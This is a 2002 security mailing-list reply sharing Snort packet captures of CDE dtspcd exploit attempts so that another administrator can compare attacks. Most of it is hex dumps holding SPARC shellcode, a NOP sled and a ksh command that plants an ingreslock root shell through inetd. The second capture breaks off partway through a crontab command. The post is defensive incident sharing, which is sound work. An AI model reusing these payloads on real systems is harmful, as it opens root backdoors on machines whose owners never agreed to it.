RE: dtspcd compromises

From: Russell Fulton (R.FULTONat_private)
Date: Mon Jan 21 2002 - 12:54:30 PST

  • Next message: John Stauffacher: "RPC EXPLOIT statdx"

    On Tue, 2002-01-22 at 04:40, Jonathan A. Zdziarski wrote:
    > Would you mind sending me the binary data from the attack? I'd love to
    > compare the packets against ones tried on our systems.
    
    Here are the snort captures from the attacks -- not second attack last night 
    had different exploit code -- they inserted some thing in cron which I can't
    quite decipher.
    
    Cheers, Russell.
    
    [**] EXPERIMENTAL CDE dtspcd exploit attempt [**]
    01/21-02:11:05.055252 0:0:C:46:5C:D1 -> 0:E0:1E:8E:31:71 type:0x800 len:0x5EA
    210.55.97.82:3064 -> 130.216.191.43:6112 TCP TTL:57 TOS:0x0 ID:34476 IpLen:20 DgmLen:1500 DF
    ***A**** Seq: 0x51DF6746  Ack: 0x491015AA  Win: 0x1146  TcpLen: 32
    TCP Options (3) => NOP NOP TS: 1892867 538490224 
    30 30 30 30 30 30 30 32 30 35 31 30 33 65 30 30  0000000205103e00
    30 33 20 20 34 20 00 72 6F 6F 74 00 00 31 30 00  03  4 .root..10.
    80 1C 40 11 80 1C 40 11 10 80 01 01 80 1C 40 11  ..@...@.......@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    20 BF FF FF 20 BF FF FF 7F FF FF FF 90 03 E0 34   ... ..........4
    92 23 E0 20 A2 02 20 0C A4 02 20 10 C0 2A 20 08  .#. .. ... ..* .
    C0 2A 20 0E D0 23 FF E0 E2 23 FF E4 E4 23 FF E8  .* ..#...#...#..
    C0 23 FF EC 82 10 20 0B 91 D0 20 08 2F 62 69 6E  .#.... ... ./bin
    2F 6B 73 68 20 20 20 20 2D 63 20 20 65 63 68 6F  /ksh    -c  echo
    20 22 69 6E 67 72 65 73 6C 6F 63 6B 20 73 74 72   "ingreslock str
    65 61 6D 20 74 63 70 20 6E 6F 77 61 69 74 20 72  eam tcp nowait r
    6F 6F 74 20 2F 62 69 6E 2F 73 68 20 73 68 20 2D  oot /bin/sh sh -
    69 22 3E 2F 74 6D 70 2F 78 3B 2F 75 73 72 2F 73  i">/tmp/x;/usr/s
    62 69 6E 2F 69 6E 65 74 64 20 2D 73 20 2F 74 6D  bin/inetd -s /tm
    70 2F 78 3B 73 6C 65 65 70 20 31 30 3B 2F 62 69  p/x;sleep 10;/bi
    6E 2F 72 6D 20 2D 66 20 2F 74 6D 70 2F 78 20 41  n/rm -f /tmp/x A
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41                          AAAAAAAA
    
    =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
    
    [**] SHELLCODE sparc NOOP [**]
    01/21-02:11:05.615915 0:0:C:46:5C:D1 -> 0:E0:1E:8E:31:71 type:0x800 len:0x5EA
    210.55.97.82:3064 -> 130.216.191.43:6112 TCP TTL:57 TOS:0x0 ID:34478 IpLen:20 DgmLen:1500 DF
    ***A**** Seq: 0x51DF7296  Ack: 0x491015AA  Win: 0x1146  TcpLen: 32
    TCP Options (3) => NOP NOP TS: 1892936 538490293 
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    41 41 41 41 00 00 10 3E 00 00 00 14 42 42 42 42  AAAA...>....BBBB
    FF FF FF FF 00 00 0F F4 43 43 43 43 00 02 CA 38  ........CCCC...8
    44 44 44 44 FF FF FF FF 45 45 45 45 46 46 46 46  DDDD....EEEEFFFF
    47 47 47 47 FF 23 82 44 42 42 42 42 42 42 42 42  GGGG.#.DBBBBBBBB
    42 42 30 30 30 30 30 30 30 32 30 34 31 30 30 63  BB0000000204100c
    30 30 30 34 20 20 34 20 00 72 6F 6F 74 00 00 31  0004  4 .root..1
    30 00 80 1C 40 11 80 1C 40 11 10 80 01 01 80 1C  0...@...@.......
    40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C  @...@...@...@...
    40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C  @...@...@...@...
    40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C  @...@...@...@...
    40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C  @...@...@...@...
    40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C  @...@...@...@...
    40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C  @...@...@...@...
    40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C  @...@...@...@...
    40 11 80 1C 40 11 80 1C                          @...@...
    
    another attack from a different source last night:
    
    [**] EXPERIMENTAL CDE dtspcd exploit attempt [**]
    01/21-21:30:37.405351 0:0:C:46:5C:D1 -> 0:E0:1E:8E:31:71 type:0x800 len:0x5EA
    130.225.254.92:1259 -> 130.216.97.28:6112 TCP TTL:42 TOS:0x0 ID:3192 IpLen:20 DgmLen:1500 DF
    ***AP*** Seq: 0x68F6359E  Ack: 0x1EBAB95C  Win: 0x7D78  TcpLen: 20
    30 30 30 30 30 30 30 32 30 34 31 30 33 65 30 30  0000000204103e00
    30 31 20 20 34 20 00 00 00 31 30 00 80 1C 40 11  01  4 ...10...@.
    80 1C 40 11 10 80 01 01 80 1C 40 11 80 1C 40 11  ..@.......@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11  ..@...@...@...@.
    80 1C 40 11 80 1C 40 11 80 1C 40 11 20 BF FF FF  ..@...@...@. ...
    20 BF FF FF 7F FF FF FF 90 03 E0 34 92 23 E0 20   ..........4.#. 
    A2 02 20 0C A4 02 20 10 C0 2A 20 08 C0 2A 20 0E  .. ... ..* ..* .
    D0 23 FF E0 E2 23 FF E4 E4 23 FF E8 C0 23 FF EC  .#...#...#...#..
    82 10 20 0B 91 D0 20 08 2F 62 69 6E 2F 6B 73 68  .. ... ./bin/ksh
    20 20 20 20 2D 63 20 20 73 6C 65 65 70 20 31 30      -c  sleep 10
    20 3B 63 72 6F 6E 74 61 62 20 2D 6C 20 3E 3E 2F   ;crontab -l >>/
    74 6D 70 2F 2E 72 65 61 6C 20 3B 20 73 6C 65 65  tmp/.real ; slee
